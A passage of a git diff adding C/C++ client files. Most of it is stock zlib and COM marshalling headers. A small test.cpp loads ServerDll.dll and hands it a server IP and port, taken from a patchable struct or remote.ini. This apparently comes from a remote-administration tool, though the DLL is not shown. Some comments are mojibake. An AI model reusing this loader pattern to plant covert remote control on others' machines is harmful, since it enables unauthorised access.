unsigned long *, unsigned char *, BSTR * ); +unsigned char * __RPC_USER BSTR_UserUnmarshal(unsigned long *, unsigned char *, BSTR * ); +void __RPC_USER BSTR_UserFree( unsigned long *, BSTR * ); + +unsigned long __RPC_USER VARIANT_UserSize( unsigned long *, unsigned long , VARIANT * ); +unsigned char * __RPC_USER VARIANT_UserMarshal( unsigned long *, unsigned char *, VARIANT * ); +unsigned char * __RPC_USER VARIANT_UserUnmarshal(unsigned long *, unsigned char *, VARIANT * ); +void __RPC_USER VARIANT_UserFree( unsigned long *, VARIANT * ); + +/* end of Additional Prototypes */ + +#ifdef __cplusplus +} +#endif + +#endif + + diff --git a/client/resource.h b/client/resource.h new file mode 100644 index 0000000..ea95376 --- /dev/null +++ b/client/resource.h @@ -0,0 +1,18 @@ +//{{NO_DEPENDENCIES}} +// Microsoft Developer Studio generated include file. +// Used by Script.rc +// +#define IDD_DIALOG 101 +#define IDR_WAVE 102 +#define IDC_EDIT_MESSAGE 1000 + +// Next default values for new objects +// +#ifdef APSTUDIO_INVOKED +#ifndef APSTUDIO_READONLY_SYMBOLS +#define _APS_NEXT_RESOURCE_VALUE 103 +#define _APS_NEXT_COMMAND_VALUE 40001 +#define _APS_NEXT_CONTROL_VALUE 1001 +#define _APS_NEXT_SYMED_VALUE 101 +#endif +#endif diff --git a/client/resource1.h b/client/resource1.h new file mode 100644 index 0000000..2c5f984 --- /dev/null +++ b/client/resource1.h @@ -0,0 +1,14 @@ +//{{NO_DEPENDENCIES}} +// Microsoft Visual C++ generated include file. +// Used by TestRun.rc + +// ¶һĬֵ +// +#ifdef APSTUDIO_INVOKED +#ifndef APSTUDIO_READONLY_SYMBOLS +#define _APS_NEXT_RESOURCE_VALUE 101 +#define _APS_NEXT_COMMAND_VALUE 40001 +#define _APS_NEXT_CONTROL_VALUE 1001 +#define _APS_NEXT_SYMED_VALUE 101 +#endif +#endif diff --git a/client/test.cpp b/client/test.cpp new file mode 100644 index 0000000..1f07840 --- /dev/null +++ b/client/test.cpp @@ -0,0 +1,53 @@ +#include +#include +#include + +typedef void (*StopRun)(); + +typedef bool (*IsStoped)(); + +// ֹͣ +StopRun stop = NULL; + +// Ƿɹֹͣ +IsStoped bStop = NULL; + +struct CONNECT_ADDRESS +{ + DWORD dwFlag; + char szServerIP[MAX_PATH]; + int iPort; +}g_ConnectAddress={0x1234567,"",0}; + +int main() +{ + char path[_MAX_PATH], *p = path; + GetModuleFileNameA(NULL, path, sizeof(path)); + while (*p) ++p; + while ('\\' != *p) --p; + strcpy(p+1, "ServerDll.dll"); + HMODULE hDll = LoadLibraryA(path); + typedef void (*TestRun)(char* strHost,int nPort ); + TestRun run = hDll ? TestRun(GetProcAddress(hDll, "TestRun")) : NULL; + stop = hDll ? StopRun(GetProcAddress(hDll, "StopRun")) : NULL; + bStop = hDll ? IsStoped(GetProcAddress(hDll, "IsStoped")) : NULL; + if (run) + { + char *ip = g_ConnectAddress.szServerIP; + int &port = g_ConnectAddress.iPort; + if (0 == strlen(ip)) + { + strcpy(p+1, "remote.ini"); + GetPrivateProfileStringA("remote", "ip", "127.0.0.1", ip, _MAX_PATH, path); + port = GetPrivateProfileIntA("remote", "port", 2356, path); + } + printf("[remote] %s:%d\n", ip, port); + run(ip, port); +#ifdef _DEBUG + while(1){ char ch[64]; std::cin>>ch; if (ch[0]=='q'){ break; } } + if (stop) stop(); + while(bStop && !bStop()) Sleep(200); +#endif + } + return -1; +} diff --git a/client/zconf.h b/client/zconf.h new file mode 100644 index 0000000..eb0ae2e --- /dev/null +++ b/client/zconf.h @@ -0,0 +1,279 @@ +/* zconf.h -- configuration of the zlib compression library + * Copyright (C) 1995-2002 Jean-loup Gailly. + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* @(#) $Id$ */ + +#ifndef _ZCONF_H +#define _ZCONF_H + +/* + * If you *really* need a unique prefix for all types and library functions, + * compile with -DZ_PREFIX. The "standard" zlib should be compiled without it. + */ +#ifdef Z_PREFIX +# define deflateInit_ z_deflateInit_ +# define deflate z_deflate +# define deflateEnd z_deflateEnd +# define inflateInit_ z_inflateInit_ +# define inflate z_inflate +# define inflateEnd z_inflateEnd +# define deflateInit2_ z_deflateInit2_ +# define deflateSetDictionary z_deflateSetDictionary +# define deflateCopy z_deflateCopy +# define deflateReset z_deflateReset +# define deflateParams z_deflateParams +# define inflateInit2_ z_inflateInit2_ +# define inflateSetDictionary z_inflateSetDictionary +# define inflateSync z_inflateSync +# define inflateSyncPoint z_inflateSyncPoint +# define inflateReset z_inflateReset +# define compress z_compress +# define compress2 z_compress2 +# define uncompress z_uncompress +# define adler32 z_adler32 +# define crc32 z_crc32 +# define get_crc_table z_get_crc_table + +# define Byte z_Byte +# define uInt z_uInt +# define uLong z_uLong +# define Bytef z_Bytef +# define charf z_charf +# define intf z_intf +# define uIntf z_uIntf +# define uLongf z_uLongf +# define voidpf z_voidpf +# define voidp z_voidp +#endif + +#if (defined(_WIN32) || defined(__WIN32__)) && !defined(WIN32) +# define WIN32 +#endif +#if defined(__GNUC__) || defined(WIN32) || defined(__386__) || defined(i386) +# ifndef __32BIT__ +# define __32BIT__ +# endif +#endif +#if defined(__MSDOS__) && !defined(MSDOS) +# define MSDOS +#endif + +/* + * Compile with -DMAXSEG_64K if the alloc function cannot allocate more + * than 64k bytes at a time (needed on systems with 16-bit int). + */ +#if defined(MSDOS) && !defined(__32BIT__) +# define MAXSEG_64K +#endif +#ifdef MSDOS +# define UNALIGNED_OK +#endif + +#if (defined(MSDOS) || defined(_WINDOWS) || defined(WIN32)) && !defined(STDC) +# define STDC +#endif +#if defined(__STDC__) || defined(__cplusplus) || defined(__OS2__) +# ifndef STDC +# define STDC +# endif +#endif + +#ifndef STDC +# ifndef const /* cannot use !defined(STDC) && !defined(const) on Mac */ +# define const +# endif +#endif + +/* Some Mac compilers merge all .h files incorrectly: */ +#if defined(__MWERKS__) || defined(applec) ||defined(THINK_C) ||defined(__SC__) +# define NO_DUMMY_DECL +#endif + +/* Old Borland C incorrectly complains about missing returns: */ +#if defined(__BORLANDC__) && (__BORLANDC__ < 0x500) +# define NEED_DUMMY_RETURN +#endif + + +/* Maximum value for memLevel in deflateInit2 */ +#ifndef MAX_MEM_LEVEL +# ifdef MAXSEG_64K +# define MAX_MEM_LEVEL 8 +# else +# define MAX_MEM_LEVEL 9 +# endif +#endif + +/* Maximum value for windowBits in deflateInit2 and inflateInit2. + * WARNING: reducing MAX_WBITS makes minigzip unable to extract .gz files + * created by gzip. (Files created by minigzip can still be extracted by + * gzip.) + */ +#ifndef MAX_WBITS +# define MAX_WBITS 15 /* 32K LZ77 window */ +#endif + +/* The memory requirements for deflate are (in bytes): + (1 << (windowBits+2)) + (1 << (memLevel+9)) + that is: 128K for windowBits=15 + 128K for memLevel = 8 (default values) + plus a few kilobytes for small objects. For example, if you want to reduce + the default memory requirements from 256K to 128K, compile with + make CFLAGS="-O -DMAX_WBITS=14 -DMAX_MEM_LEVEL=7" + Of course this will generally degrade compression (there's no free lunch). + + The memory requirements for inflate are (in bytes) 1 << windowBits + that is, 32K for windowBits=15 (default value) plus a few kilobytes + for small objects. +*/ + + /* Type declarations */ + +#ifndef OF /* function prototypes */ +# ifdef STDC +# define OF(args) args +# else +# define OF(args) () +# endif +#endif + +/* The following definitions for FAR are needed only for MSDOS mixed + * model programming (small or medium model with some far allocations). + * This was tested only with MSC; for other MSDOS compilers you may have + * to define NO_MEMCPY in zutil.h. If you don't need the mixed model, + * just define FAR to be empty. + */ +#if (defined(M_I86SM) || defined(M_I86MM)) && !defined(__32BIT__) + /* MSC small or medium model */ +# define SMALL_MEDIUM +# ifdef _MSC_VER +# define FAR _far +# else +# define FAR far +# endif +#endif +#if defined(__BORLANDC__) && (defined(__SMALL__) || defined(__MEDIUM__)) +# ifndef __32BIT__ +# define SMALL_MEDIUM +# define FAR _far +# endif +#endif + +/* Compile with -DZLIB_DLL for Windows DLL support */ +#if defined(ZLIB_DLL) +# if defined(_WINDOWS) || defined(WINDOWS) +# ifdef FAR +# undef FAR +# endif +# include +# define ZEXPORT WINAPI +# ifdef WIN32 +# define ZEXPORTVA WINAPIV +# else +# define ZEXPORTVA FAR _cdecl _export +# endif +# endif +# if defined (__BORLANDC__) +# if (__BORLANDC__ >= 0x0500) && defined (WIN32) +# include +# define ZEXPORT __declspec(dllexport) WINAPI +# define ZEXPORTRVA __declspec(dllexport) WINAPIV +# else +# if defined (_Windows) && defined (__DLL__) +# define ZEXPORT _export +# define ZEXPORTVA _export +# endif +# endif +# endif +#endif + +#if defined (__BEOS__) +# if defined (ZLIB_DLL) +# define ZEXTERN extern __declspec(dllexport) +# else +# define ZEXTERN extern __declspec(dllimport) +# endif +#endif + +#ifndef ZEXPORT +# define ZEXPORT +#endif +#ifndef ZEXPORTVA +# define ZEXPORTVA +#endif +#ifndef ZEXTERN +# define ZEXTERN extern +#endif + +#ifndef FAR +# define FAR +#endif + +#if !defined(MACOS) && !defined(TARGET_OS_MAC) +typedef unsigned char Byte; /* 8 bits */ +#endif +typedef unsigned int uInt; /* 16 bits or more */ +typedef unsigned long uLong; /* 32 bits or more */ + +#ifdef SMALL_MEDIUM + /* Borland C/C++ and some old MSC versions ignore FAR inside typedef */ +# define Bytef Byte FAR +#else + typedef Byte FAR Bytef; +#endif +typedef char FAR charf; +typedef int FAR intf; +typedef uInt FAR uIntf; +typedef uLong FAR uLongf; + +#ifdef STDC + typedef void FAR *voidpf; + typedef void *voidp; +#else + typedef Byte FAR *voidpf; + typedef Byte *voidp; +#endif + +#ifdef HAVE_UNISTD_H +# include /* for off_t */ +# include /* for SEEK_* and off_t */ +# define z_off_t off_t +#endif +#ifndef SEEK_SET +# define SEEK_SET 0 /* Seek from beginning of file. */ +# define SEEK_CUR 1 /* Seek from current position. */ +# define SEEK_END 2 /* Set file pointer to EOF plus "offset" */ +#endif +#ifndef z_off_t +# define z_off_t long +#endif + +/* MVS linker does not support external names larger than 8 bytes */ +#if defined(__MVS__) +# pragma map(deflateInit_,"DEIN") +# pragma map(deflateInit2_,"DEIN2") +# pragma map(deflateEnd,"DEEND") +# pragma map(inflateInit_,"ININ") +# pragma map(inflateInit2_,"ININ2") +# pragma map(inflateEnd,"INEND") +# pragma map(inflateSync,"INSY") +# pragma map(inflateSetDictionary,"INSEDI") +# pragma map(inflate_blocks,"INBL") +# pragma map(inflate_blocks_new,"INBLNE") +# pragma map(inflate_blocks_free,"INBLFR") +# pragma map(inflate_blocks_reset,"INBLRE") +# pragma map(inflate_codes_free,"INCOFR") +# pragma map(inflate_codes,"INCO") +# pragma map(inflate_fast,"INFA") +# pragma map(inflate_flush,"INFLU") +# pragma map(inflate_mask,"INMA") +# pragma map(inflate_set_dictionary,"INSEDI2") +# pragma map(inflate_copyright,"INCOPY") +# pragma map(inflate_trees_bits,"INTRBI") +# pragma map(inflate_trees_dynamic,"INTRDY") +# pragma map(inflate_trees_fixed,"INTRFI") +# pragma map(inflate_trees_free,"INTRFR") +#endif + +#endif /* _ZCONF_H */ diff --git a/client/zlib.h b/client/zlib.h new file mode 100644 index 0000000..52cb529 --- /dev/null +++ b/client/zlib.h @@ -0,0 +1,893 @@ +/* zlib.h -- interface of the 'zlib' general purpose compression library + version 1.1.4, March 11th, 2002 + + Copyright (C) 1995-2002 Jean-loup Gailly and Mark Adler + + This software is provided 'as-is', without any express or implied + warranty. In no event will the authors be held liable for any damages + arising from the use of this software. + + Permission is granted to anyone to use this software for any purpose, + including commercial applications, and to alter it and redistribute it + freely, subject to the following restrictions: + + 1. The origin of this software must not be misrepresented; you must not + claim that you wrote the original software. If you use this software + in a product, an acknowledgment in the product documentation would be + appreciated but is not required. + 2. Altered source versions must be plainly marked as such, and must not be + misrepresented as being the original software. + 3. This notice may not be removed or altered from any source distribution. + + Jean-loup Gailly Mark Adler + jloup@gzip.org madler@alumni.caltech.edu + + + The data format used by the zlib library is described by RFCs (Request for + Comments) 1950 to 1952 in the files ftp://ds.internic.net/rfc/rfc1950.txt + (zlib format), rfc1951.txt (deflate format) and rfc1952.txt (gzip format). +*/ + +#ifndef _ZLIB_H +#define _ZLIB_H + +#include "zconf.h" + +#ifdef __cplusplus +extern "C" { +#endif + +#define ZLIB_VERSION "1.1.4" + +/* + The 'zlib' compression library provides in-memory compression and + decompression functions, including integrity checks of the uncompressed + data. This version of the library supports only one compression method + (deflation) but other algorithms will be added later and will have the same + stream interface. + + Compression can be done in a single step if the buffers are large + enough (for example if an input file is mmap'ed), or can be done by + repeated calls of the compression function. In the latter case, the + application must provide more input and/or consume the output + (providing more output space) before each call. + + The library also supports reading and writing files in gzip (.gz) format + with an interface similar to that of stdio. + + The library does not install any signal handler. The decoder checks + the consistency of the compressed data, so the library should never + crash even in case of corrupted input. +*/ + +typedef voidpf (*alloc_func) OF((voidpf opaque, uInt items, uInt size)); +typedef void (*free_func) OF((voidpf opaque, voidpf address)); + +struct internal_state; + +typedef struct z_stream_s { + Bytef *next_in; /* next input byte */ + uInt avail_in; /* number of bytes available at next_in */ + uLong total_in; /* total nb of input bytes read so far */ + + Bytef *next_out; /* next output byte should be put there */ + uInt avail_out; /* remaining free space at next_out */ + uLong total_out; /* total nb of bytes output so far */ + + char *msg; /* last error message, NULL if no error */ + struct internal_state FAR *state; /* not visible by applications */ + + alloc_func zalloc; /* used to allocate the internal state */ + free_func zfree; /* used to free the internal state */ + voidpf opaque; /* private data object passed to zalloc and zfree */ + + int data_type; /* best guess about the data type: ascii or binary */ + uLong adler; /* adler32 value of the uncompressed data */ + uLong reserved; /* reserved for future use */ +} z_stream; + +typedef z_stream FAR *z_streamp; + +/* + The application must update next_in and avail_in when avail_in has + dropped to zero. It must update next_out and avail_out when avail_out + has dropped to zero. The application must initialize zalloc, zfree and + opaque before calling the init function. All other fields are set by the + compression library and must not be updated by the application. + + The opaque value provided by the application will be passed as the first + parameter for calls of zalloc and zfree. This can be useful for custom + memory management. The compression library attaches no meaning to the + opaque value. + + zalloc must return Z_NULL if there is not enough memory for the object. + If zlib is used in a multi-threaded application, zalloc and zfree must be + thread safe. + + On 16-bit systems, the functions zalloc and zfree must be able to allocate + exactly 65536 bytes, but will not be required to allocate more than this + if the symbol MAXSEG_64K is defined (see zconf.h). WARNING: On MSDOS, + pointers returned by zalloc for objects of exactly 65536 bytes *must* + have their offset normalized to zero. The default allocation function + provided by this library ensures this (see zutil.c). To reduce memory + requirements and avoid any allocation of 64K objects, at the expense of + compression ratio, compile the library with -DMAX_WBITS=14 (see zconf.h). + + The fields total_in and total_out can be used for statistics or + progress reports. After compression, total_in holds the total size of + the uncompressed data and may be saved for use in the decompressor + (particularly if the decompressor wants to decompress everything in + a single step). +*/ + + /* constants */ + +#define Z_NO_FLUSH 0 +#define Z_PARTIAL_FLUSH 1 /* will be removed, use Z_SYNC_FLUSH instead */ +#define Z_SYNC_FLUSH 2 +#define Z_FULL_FLUSH 3 +#define Z_FINISH 4 +/* Allowed flush values; see deflate() below for details */ + +#define Z_OK 0 +#define Z_STREAM_END 1 +#define Z_NEED_DICT 2 +#define Z_ERRNO (-1) +#define Z_STREAM_ERROR (-2) +#define Z_DATA_ERROR (-3) +#define Z_MEM_ERROR (-4) +#define Z_BUF_ERROR (-5) +#define Z_VERSION_ERROR (-6) +/* Return codes for the compression/decompression functions. Negative + * values are errors, positive values are used for special but normal events. + */ + +#define Z_NO_COMPRESSION 0 +#define Z_BEST_SPEED 1 +#define Z_BEST_COMPRESSION 9 +#define Z_DEFAULT_COMPRESSION (-1) +/* compression levels */ + +#define Z_FILTERED 1 +#define Z_HUFFMAN_ONLY 2 +#define Z_DEFAULT_STRATEGY 0 +/* compression strategy; see deflateInit2() below for details */ + +#define Z_BINARY 0 +#define Z_ASCII 1 +#define Z_UNKNOWN 2 +/* Possible values of the data_type field */ + +#define Z_DEFLATED 8 +/* The deflate compression method (the only one supported in this version) */ + +#define Z_NULL 0 /* for initializing zalloc, zfree, opaque */ + +#define zlib_version zlibVersion() +/* for compatibility with versions < 1.0.2 */ + + /* basic functions */ + +ZEXTERN const char * ZEXPORT zlibVersion OF((void)); +/* The application can compare zlibVersion and ZLIB_VERSION for consistency. + If the first character differs, the library code actually used is + not compatible with the zlib.h header file used by the application. + This check is automatically made by deflateInit and inflateInit. + */ + +/* +ZEXTERN int ZEXPORT deflateInit OF((z_streamp strm, int level)); + + Initializes the internal stream state for compression. The fields + zalloc, zfree and opaque must be initialized before by the caller. + If zalloc and zfree are set to Z_NULL, deflateInit updates them to + use default allocation functions. + + The compression level must be Z_DEFAULT_COMPRESSION, or between 0 and 9: + 1 gives best speed, 9 gives best compression, 0 gives no compression at + all (the input data is simply copied a block at a time). + Z_DEFAULT_COMPRESSION requests a default compromise between speed and + compression (currently equivalent to level 6). + + deflateInit returns Z_OK if success, Z_MEM_ERROR if there was not + enough memory, Z_STREAM_ERROR if level is not a valid compression level, + Z_VERSION_ERROR if the zlib library version (zlib_version) is incompatible + with the version assumed by the caller (ZLIB_VERSION). + msg is set to null if there is no error message. deflateInit does not + perform any compression: this will be done by deflate(). +*/ + + +ZEXTERN int ZEXPORT deflate OF((z_streamp strm, int flush)); +/* + deflate compresses as much data as possible, and stops when the input + buffer becomes empty or the output buffer becomes full. It may introduce some + output latency (reading input without producing any output) except when + forced to flush. + + The detailed semantics are as follows. deflate performs one or both of the + following actions: + + - Compress more input starting at next_in and update next_in and avail_in + accordingly. If not all input can be processed (because there is not + enough room in the output buffer), next_in and avail_in are updated and + processing will resume at this point for the next call of deflate(). + + - Provide more output starting at next_out and update next_out and avail_out + accordingly. This action is forced if the parameter flush is non zero. + Forcing flush frequently degrades the compression ratio, so this parameter + should be set only when necessary (in interactive applications). + Some output may be provided even if flush is not set. + + Before the call of deflate(), the application should ensure that at least + one of the actions is possible, by providing more input and/or consuming + more output, and updating avail_in or avail_out accordingly; avail_out + should never be zero before the call. The application can consume the + compressed output when it wants, for example when the output buffer is full + (avail_out == 0), or after each call of deflate(). If deflate returns Z_OK + and with zero avail_out, it must be called again after making room in the + output buffer because there might be more output pending. + + If the parameter flush is set to Z_SYNC_FLUSH, all pending output is + flushed to the output buffer and the output is aligned on a byte boundary, so + that the decompressor can get all input data available so far. (In particular + avail_in is zero after the call if enough output space has been provided + before the call.) Flushing may degrade compression for some compression + algorithms and so it should be used only when necessary. + + If flush is set to Z_FULL_FLUSH, all output is flushed as with + Z_SYNC_FLUSH, and the compression state is reset so that decompression can + restart from this point if previous compressed data has been damaged or if + random access is desired. Using Z_FULL_FLUSH too often can seriously degrade + the compression. + + If deflate returns with avail_out == 0, this function must be called again + with the same value of the flush parameter and more output space (updated + avail_out), until the flush is complete (deflate returns with non-zero + avail_out). + + If the parameter flush is set to Z_FINISH, pending input is processed, + pending output is flushed and deflate returns with Z_STREAM_END if there + was enough output space; if deflate returns with Z_OK, this function must be + called again with Z_FINISH and more output space (updated avail_out) but no + more input data, until it returns with Z_STREAM_END or an error. After + deflate has returned Z_STREAM_END, the only possible operations on the + stream are deflateReset or deflateEnd. + + Z_FINISH can be used immediately after deflateInit if all the compression + is to be done in a single step. In this case, avail_out must be at least + 0.1% larger than avail_in plus 12 bytes. If deflate does not return + Z_STREAM_END, then it must be called again as described above. + + deflate() sets strm->adler to the adler32 checksum of all input read + so far (that is, total_in bytes). + + deflate() may update data_type if it can make a good guess about + the input data type (Z_ASCII or Z_BINARY). In doubt, the data is considered + binary. This field is only for information purposes and does not affect + the compression algorithm in any manner. + + deflate() returns Z_OK if some progress has been made (more input + processed or more output produced), Z_STREAM_END if all input has been + consumed and all output has been produced (only when flush is set to + Z_FINISH), Z_STREAM_ERROR if the stream state was inconsistent (for example + if next_in or next_out was NULL), Z_BUF_ERROR if no progress is possible + (for example avail_in or avail_out was zero). +*/ + + +ZEXTERN int ZEXPORT deflateEnd OF((z_streamp strm)); +/* + All dynamically allocated data structures for this stream are freed. + This function discards any unprocessed input and does not flush any + pending output. + + deflateEnd returns Z_OK if success, Z_STREAM_ERROR if the + stream state was inconsistent, Z_DATA_ERROR if the stream was freed + prematurely (some input or output was discarded). In the error case, + msg may be set but then points to a static string (which must not be + deallocated). +*/ + + +/* +ZEXTERN int ZEXPORT inflateInit OF((z_streamp strm)); + + Initializes the internal stream state for decompression. The fields + next_in, avail_in, zalloc, zfree and opaque must be initialized before by + the caller. If next_in is not Z_NULL and avail_in is large enough (the exact + value depends on the compression method), inflateInit determines the + compression method from the zlib header and allocates all data structures + accordingly; otherwise the allocation will be deferred to the first call of + inflate. If zalloc and zfree are set to Z_NULL, inflateInit updates them to + use default allocation functions. + + inflateInit returns Z_OK if success, Z_MEM_ERROR if there was not enough + memory, Z_VERSION_ERROR if the zlib library version is incompatible with the + version assumed by the caller. msg is set to null if there is no error + message. inflateInit does not perform any decompression apart from reading + the zlib header if present: this will be done by inflate(). (So next_in and + avail_in may be modified, but next_out and avail_out are unchanged.) +*/ + + +ZEXTERN int ZEXPORT inflate OF((z_streamp strm, int flush)); +/* + inflate decompresses as much data as possible, and stops when the input + buffer becomes empty or the output buffer becomes full. It may some + introduce some output latency (reading input without producing any output) + except when forced to flush. + + The detailed semantics are as follows. inflate performs one or both of the + following actions: + + - Decompress more input starting at next_in and update next_in and avail_in + accordingly. If not all input can be processed (because there is not + enough room in the output buffer), next_in is updated and processing + will resume at this point for the next call of inflate(). + + - Provide more output starting at next_out and update next_out and avail_out + accordingly. inflate() provides as much output as possible, until there + is no more input data or no more space in the output buffer (see below + about the flush parameter). + + Before the call of inflate(), the application should ensure that at least + one of the actions is possible, by providing more input and/or consuming + more output, and updating the next_* and avail_* values accordingly. + The application can consume the uncompressed output when it wants, for + example when the output buffer is full (avail_out == 0), or after each + call of inflate(). If inflate returns Z_OK and with zero avail_out, it + must be called again after making room in the output buffer because there + might be more output pending. + + If the parameter flush is set to Z_SYNC_FLUSH, inflate flushes as much + output as possible to the output buffer. The flushing behavior of inflate is + not specified for values of the flush parameter other than Z_SYNC_FLUSH + and Z_FINISH, but the current implementation actually flushes as much output + as possible anyway. + + inflate() should normally be called until it returns Z_STREAM_END or an + error. However if all decompression is to be performed in a single step + (a single call of inflate), the parameter flush should be set to + Z_FINISH. In this case all pending input is processed and all pending + output is flushed; avail_out must be large enough to hold all the + uncompressed data. (The size of the uncompressed data may have been saved + by the compressor for this purpose.) The next operation on this stream must + be inflateEnd to deallocate the decompression state. The use of Z_FINISH + is never required, but can be used to inform inflate that a faster routine + may be used for the single inflate() call. + + If a preset dictionary is needed at this point (see inflateSetDictionary + below), inflate sets strm-adler to the adler32 checksum of the + dictionary chosen by the compressor and returns Z_NEED_DICT; otherwise + it sets strm->adler to the adler32 checksum of all output produced + so far (that is, total_out bytes) and returns Z_OK, Z_STREAM_END or + an error code as described below. At the end of the stream, inflate() + checks that its computed adler32 checksum is equal to that saved by the + compressor and returns Z_STREAM_END only if the checksum is correct. + + inflate() returns Z_OK if some progress has been made (more input processed + or more output produced), Z_STREAM_END if the end of the compressed data has + been reached and all uncompressed output has been produced, Z_NEED_DICT if a + preset dictionary is needed at this point, Z_DATA_ERROR if the input data was + corrupted (input stream not conforming to the zlib format or incorrect + adler32 checksum), Z_STREAM_ERROR if the stream structure was inconsistent + (for example if next_in or next_out was NULL), Z_MEM_ERROR if there was not + enough memory, Z_BUF_ERROR if no progress is possible or if there was not + enough room in the output buffer when Z_FINISH is used. In the Z_DATA_ERROR + case, the application may then call inflateSync to look for a good + compression block. +*/ + + +ZEXTERN int ZEXPORT inflateEnd OF((z_streamp strm)); +/* + All dynamically allocated data structures for this stream are freed. + This function discards any unprocessed input and does not flush any + pending output. + + inflateEnd returns Z_OK if success, Z_STREAM_ERROR if the stream state + was inconsistent. In the error case, msg may be set but then points to a + static string (which must not be deallocated). +*/ + + /* Advanced functions */ + +/* + The following functions are needed only in some special applications. +*/ + +/* +ZEXTERN int ZEXPORT deflateInit2 OF((z_streamp strm, + int level, + int method, + int windowBits, + int memLevel, + int strategy)); + + This is another version of deflateInit with more compression options. The + fields next_in, zalloc, zfree and opaque must be initialized before by + the caller. + + The method parameter is the compression method. It must be Z_DEFLATED in + this version of the library. + + The windowBits parameter is the base two logarithm of the window size + (the size of the history buffer). It should be in the range 8..15 for this + version of the library. Larger values of this parameter result in better + compression at the expense of memory usage. The default value is 15 if + deflateInit is used instead. + + The memLevel parameter specifies how much memory should be allocated + for the internal compression state. memLevel=1 uses minimum memory but + is slow and reduces compression ratio; memLevel=9 uses maximum memory + for optimal speed. The default value is 8. See zconf.h for total memory + usage as a function of windowBits and memLevel. + + The strategy parameter is used to tune the compression algorithm. Use the + value Z_DEFAULT_STRATEGY for normal data, Z_FILTERED for data produced by a + filter (or predictor), or Z_HUFFMAN_ONLY to force Huffman encoding only (no + string match). Filtered data consists mostly of small values with a + somewhat random distribution. In this case, the compression algorithm is + tuned to compress them better. The effect of Z_FILTERED is to force more + Huffman coding and less string matching; it is somewhat intermediate + between Z_DEFAULT and Z_HUFFMAN_ONLY. The strategy parameter only affects + the compression ratio but not the correctness of the compressed output even + if it is not set appropriately. + + deflateInit2 returns Z_OK if success, Z_MEM_ERROR if there was not enough + memory, Z_STREAM_ERROR if a parameter is invalid (such as an invalid + method). msg is set to null if there is no error message. deflateInit2 does + not perform any compression: this will be done by deflate(). +*/ + +ZEXTERN int ZEXPORT deflateSetDictionary OF((z_streamp strm, + const Bytef *dictionary, + uInt dictLength)); +/* + Initializes the compression dictionary from the given byte sequence + without producing any compressed output. This function must be called + immediately after deflateInit, deflateInit2 or deflateReset, before any + call of deflate. The compressor and decompressor must use exactly the same + dictionary (see inflateSetDictionary). + + The dictionary should consist of strings (byte sequences) that are likely + to be encountered later in the data to be compressed, with the most commonly + used strings preferably put towards the end of the dictionary. Using a + dictionary is most useful when the data to be compressed is short and can be + predicted with good accuracy; the data can then be compressed better than + with the default empty dictionary. + + Depending on the size of the compression data structures selected by + deflateInit or deflateInit2, a part of the dictionary may in effect be + discarded, for example if the dictionary is larger than the window size in + deflate or deflate2. Thus the strings most likely to be useful should be + put at the end of the dictionary, not at the front. + + Upon return of this function, strm->adler is set to the Adler32 value + of the dictionary; the decompressor may later use this value to determine + which dictionary has been used by the compressor. (The Adler32 value + applies to the whole dictionary even if only a subset of the dictionary is + actually used by the compressor.) + + deflateSetDictionary returns Z_OK if success, or Z_STREAM_ERROR if a + parameter is invalid (such as NULL dictionary) or the stream state is + inconsistent (for example if deflate has already been called for this stream + or if the compression method is bsort). deflateSetDictionary does not + perform any compression: this will be done by deflate(). +*/ + +ZEXTERN int ZEXPORT deflateCopy OF((z_streamp dest, + z_streamp source)); +/* + Sets the destination stream as a complete copy of the source stream. + + This function can be useful when several compression strategies will be + tried, for example when there are several ways of pre-processing the input + data with a filter. The streams that will be discarded should then be freed + by calling deflateEnd. Note that deflateCopy duplicates the internal + compression state which can be quite large, so this strategy is slow and + can consume lots of memory. + + deflateCopy returns Z_OK if success, Z_MEM_ERROR if there was not + enough memory, Z_STREAM_ERROR if the source stream state was inconsistent + (such as zalloc being NULL). msg is left unchanged in both source and + destination. +*/ + +ZEXTERN int ZEXPORT deflateReset OF((z_streamp strm)); +/* + This function is equivalent to deflateEnd followed by deflateInit, + but does not free and reallocate all the internal compression state. + The stream will keep the same compression level and any other attributes + that may have been set by deflateInit2. + + deflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source + stream state was inconsistent (such as zalloc or state being NULL). +*/ + +ZEXTERN int ZEXPORT deflateParams OF((z_streamp strm, + int level, + int strategy)); +/* + Dynamically update the compression level and compression strategy. The + interpretation of level and strategy is as in deflateInit2. This can be + used to switch between compression and straight copy of the input data, or + to switch to a different kind of input data requiring a different + strategy. If the compression level is changed, the input available so far + is compressed with the old level (and may be flushed); the new level will + take effect only at the next call of deflate(). + + Before the call of deflateParams, the stream state must be set as for + a call of deflate(), since the currently available input may have to + be compressed and flushed. In particular, strm->avail_out must be non-zero. + + deflateParams returns Z_OK if success, Z_STREAM_ERROR if the source + stream state was inconsistent or if a parameter was invalid, Z_BUF_ERROR + if strm->avail_out was zero. +*/ + +/* +ZEXTERN int ZEXPORT inflateInit2 OF((z_streamp strm, + int windowBits)); + + This is another version of inflateInit with an extra parameter. The + fields next_in, avail_in, zalloc, zfree and opaque must be initialized + before by the caller. + + The windowBits parameter is the base two logarithm of the maximum window + size (the size of the history buffer). It should be in the range 8..15 for + this version of the library. The default value is 15 if inflateInit is used + instead. If a compressed stream with a larger window size is given as + input, inflate() will return with the error code Z_DATA_ERROR instead of + trying to allocate a larger window. + + inflateInit2 returns Z_OK if success, Z_MEM_ERROR if there was not enough + memory, Z_STREAM_ERROR if a parameter is invalid (such as a negative + memLevel). msg is set to null if there is no error message. inflateInit2 + does not perform any decompression apart from reading the zlib header if + present: this will be done by inflate(). (So next_in and avail_in may be + modified, but next_out and avail_out are unchanged.) +*/ + +ZEXTERN int ZEXPORT inflateSetDictionary OF((z_streamp strm, + const Bytef *dictionary, + uInt dictLength)); +/* + Initializes the decompression dictionary from the given uncompressed byte + sequence. This function must be called immediately after a call of inflate + if this call returned Z_NEED_DICT. The dictionary chosen by the compressor + can be determined from the Adler32 value returned by this call of + inflate. The compressor and decompressor must use exactly the same + dictionary (see deflateSetDictionary). + + inflateSetDictionary returns Z_OK if success, Z_STREAM_ERROR if a + parameter is invalid (such as NULL dictionary) or the stream state is + inconsistent, Z_DATA_ERROR if the given dictionary doesn't match the + expected one (incorrect Adler32 value). inflateSetDictionary does not + perform any decompression: this will be done by subsequent calls of + inflate(). +*/ + +ZEXTERN int ZEXPORT inflateSync OF((z_streamp strm)); +/* + Skips invalid compressed data until a full flush point (see above the + description of deflate with Z_FULL_FLUSH) can be found, or until all + available input is skipped. No output is provided. + + 